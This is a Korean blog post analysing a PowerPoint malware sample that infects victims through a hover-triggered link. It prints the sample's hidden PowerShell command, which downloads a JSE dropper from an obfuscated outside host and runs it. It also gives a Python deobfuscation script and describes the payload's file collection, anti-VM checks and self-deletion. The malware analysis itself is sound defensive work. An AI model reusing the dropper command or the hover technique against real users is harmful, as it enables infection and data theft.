그냥저냥

[PPT Malware] Hover Action 기능 악용 악성코드 본문

Malware

[PPT Malware] Hover Action 기능 악용 악성코드

ex3llo 2017. 6. 24. 19:39

얼마전 PPT 문서형 악성코드중 흥미로운 녀석이 발견됬다고 기사가 뜸

(관련 기사 : http://www.dailysecu.com/?mod=news&act=articleView&idxno=21152)


PPT 슬라이드에 존재하는 링크에 마우스를 올리면 악성코드에 감염된다는 뭐 그런거라는데

대충 샘플을 구해서 분석해봄


"Loading...Please wait" 링크 위에 마우스를 올려봤더니 uac 처럼 경고창이 뜨면서 사용자 상호작용을 요구


악성 문서 파일 확장자가 ppsx 이므로, 문서파일 내 코드를 보면 링크 부분에 MouseOver 액션이 정의되어있다.

즉, 링크 위에 마우스를 올리면 "rId2" 라는 객체를 참조하여 프로그램을 실행하도록 되어있고, "rId2" 객체에는 

PowerShell 코드가 삽입된 것을 볼 수 있음


PowerShell 명령은 외부 서버에 접속하여 c.jse 라는 파일을 다운받아 실행하는 역할을 수행함

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.'+[char] 0x6E+'l'+[char] 0x2F+'c.php',\"$env:temp\c.jse\"); Invoke-Item \"$env:temp\c.jse\"" 


jse 파일을 받아 열어보면 아래 사진처럼 인코딩된 상태이므로 디코딩이 필요

적절히 디코딩을 해주면 알아먹을수 있는 코드를 볼 수 있음


디코딩이 되긴 했는데 그래도 뭐하는 놈인지 잘 모르겠음... 저걸 난독화라 부르기도 애매하지만 저 코드를 일일이 난독화 해제하기도 귀찮으니 웹브라우저에게 난독화 해제를 맡김

첫번째 변수에 대한 디버깅을 진행해보니 "trans" 라는 문자열이 튀어나옴


난독화된 코드는 대충 보면 복잡해보이지만 실제로는 return String["fromCharCode"]('x')+y 코드에서 x+y 값을 

Character 형으로 변환해주는 역할만 한다....

 

저 난독화된 코드는 라인수로 따지면 2500여줄 쯤 되므로 파이썬+정규표현식 으로 x값을 추출하여 +5를 한뒤 

문자로 바꿔주는 스크립트를 짜서 돌림

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import re
 
= open("C:\out.bin""r")
pat = re.compile("\+\'([^\']*)\'")
 
while True:
    line = f.readline()
    if not line: break # 파일 끝까지 한줄씩 읽음
    m = pat.search(line) # 정규표현식 패턴 적용
    if not m: continue
    if not line.find('var'): print("")
    print chr(int(m.group().strip("+'"))+5), # 출력
 
f.close()
cs


결과를 확인해보면 어느정도 잘 된듯


난독화 해제된 문자열들을 살펴보면 또다른 외부서버에 접속해서 실행파일을 다운받아 실행하는 코드가 존재하며, 


감염 시스템 내 문서 파일이나 그림파일 또는 기타 파일들을 수집(?) 하는 문자열이 존재하고, 

wmi 명령을 이용한 Anti Debugging / Anti VM 기능도 존재하며,


자가삭제 기능도 존재한다.


중간중간 쓸데없는 말과 욕이 조금 섞여있긴 한데, 걍 무시



결론은 진짜 악성파일을 다운받아 실행시키기 위한 드롭퍼...

흥미가 생겨서 보긴했는데 그닥 참신한건지는 모르겠다...


Comments